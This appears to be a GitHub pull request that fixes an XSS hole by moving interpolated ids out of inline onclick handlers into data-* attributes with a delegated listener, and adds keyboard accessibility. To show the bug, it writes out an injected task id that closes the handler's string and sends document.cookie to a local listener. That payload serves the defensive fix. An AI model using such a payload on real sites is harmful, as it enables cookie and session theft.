Replace data-bearing inline handlers with event delegation - #30
Open
dgruhin-hrizn wants to merge 1 commit into
Open
Replace data-bearing inline handlers with event delegation#30dgruhin-hrizn wants to merge 1 commit into
dgruhin-hrizn wants to merge 1 commit into
Conversation
Six render sites interpolated task and session ids directly into inline
handlers:
onclick="showTaskDetail('${task.id}', '${actualSessionId}')"
That is a JavaScript string nested inside an HTML attribute, and HTML
escaping cannot secure it -- the parser decodes character references
before the JS is compiled, so an escaped quote decodes back to a quote
and closes the literal anyway. Escaping the value is not a weaker fix
here, it is not a fix at all.
Verified with a task whose id is:
1'); fetch('//127.0.0.1:9999/?c='+document.cookie); //
Before, the card renders
onclick="showTaskDetail('1'); fetch('//127.0.0.1:9999/?c='+document.cookie); //"
and the request fires on click. After, the id is an inert data-task-id
value read through dataset, there is no inline handler on the element,
and clicking every card on the page fires nothing.
Ids now travel as data-* attributes and one delegated listener on
document resolves them. closest() returns the innermost [data-action], and
the listener is on document, so a nested action dispatches exactly once --
no stopPropagation, which would otherwise break unrelated listeners.
Converted: live update items, session rows, the session bulk-delete
button, task cards, the note form, and timeline rows. The other 31
onclick attributes in the file are static string literals with no
interpolation and no injection surface, so they are left alone -- this
stays a security fix rather than becoming a refactor.
Task cards and timeline rows were divs with onclick and no tabindex or
role, so they were unreachable by keyboard entirely. Since this change
rewrites those exact opening tags, they get role="button" tabindex="0"
and an Enter/Space branch in the same delegated handler. Confirmed a card
now takes focus and Enter opens the detail panel.
Note that L1AD#24's server-side id validation blunts this same path
independently by rejecting unsafe ids before they reach the client. These
are complementary: that one stops bad data entering, this one removes the
sink.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Follow-up to #25, and the half of the XSS that escaping genuinely cannot fix.
Why #25 isn't enough
Six render sites interpolate ids directly into inline handlers:
That's a JavaScript string nested inside an HTML attribute, and HTML escaping cannot secure it — the parser decodes character references before the JS is compiled, so an escaped
'decodes back to'and closes the literal anyway. Escaping the value isn't a weaker fix here, it's not a fix at all.Demonstrated
With a task whose
idis:Before — the card renders a real inline handler, and the request fires on click:
After — the id is inert
data-task-id, there's no inline handler on the element, and clicking every card on the page fires nothing:The change
Ids travel as
data-*attributes; one delegated listener ondocumentresolves them.closest()returns the innermost[data-action]and the listener is ondocument, so a nested action dispatches exactly once — nostopPropagation, which would otherwise break unrelated listeners.Converted: live update items, session rows, the session bulk-delete button, task cards, the note form, timeline rows.
The other 31
onclickattributes are left alone. They're static string literals with no interpolation and no injection surface. Touching them would turn a security fix into a refactor.Accessibility win folded in
Task cards and timeline rows were
div+onclickwith notabindexorrole— unreachable by keyboard entirely. Since this rewrites those exact opening tags, they getrole="button" tabindex="0"and an Enter/Space branch in the same delegated handler, rather than a second PR touching the same lines. Verified a card now takes focus and Enter opens the detail panel.Regression check
Session select, task card click, note submit (no navigation, input cleared), timeline row click, and keyboard activation all verified working. No console errors.
Relationship to #24
Complementary rather than overlapping: #24's server-side id validation stops bad data entering, this removes the sink. Either alone closes this particular payload; both is better.
Conflict note
Touches the
renderSessionItemopening tag, so it will conflict trivially with #21 if that lands first (fetchTasks→selectSession). One-line resolution in either order — I hit exactly that when merging locally.